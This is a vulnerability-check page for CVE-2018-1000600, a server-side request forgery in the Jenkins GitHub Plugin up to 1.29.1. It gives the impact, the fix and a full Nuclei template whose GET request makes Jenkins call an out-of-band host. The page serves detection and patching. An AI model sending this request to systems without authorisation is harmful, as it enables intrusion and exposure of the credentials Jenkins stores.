Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery

highseverity

8.8CVSS score

90.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.

Fix

Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=…
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2018-1000600 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1000600

info:
  name: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery
  author: geeknik
  severity: high
  description: |
    Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.
  remediation: |
    Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.
  reference:
    - https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
    - https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000600
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-1000600
    cwe-id: CWE-200
    epss-score: 0.90894
    epss-percentile: 0.99807
    cpe: cpe:2.3:a:jenkins:github:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: github
    framework: jenkins
  tags: cve,cve2018,jenkins,ssrf,oast,github,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from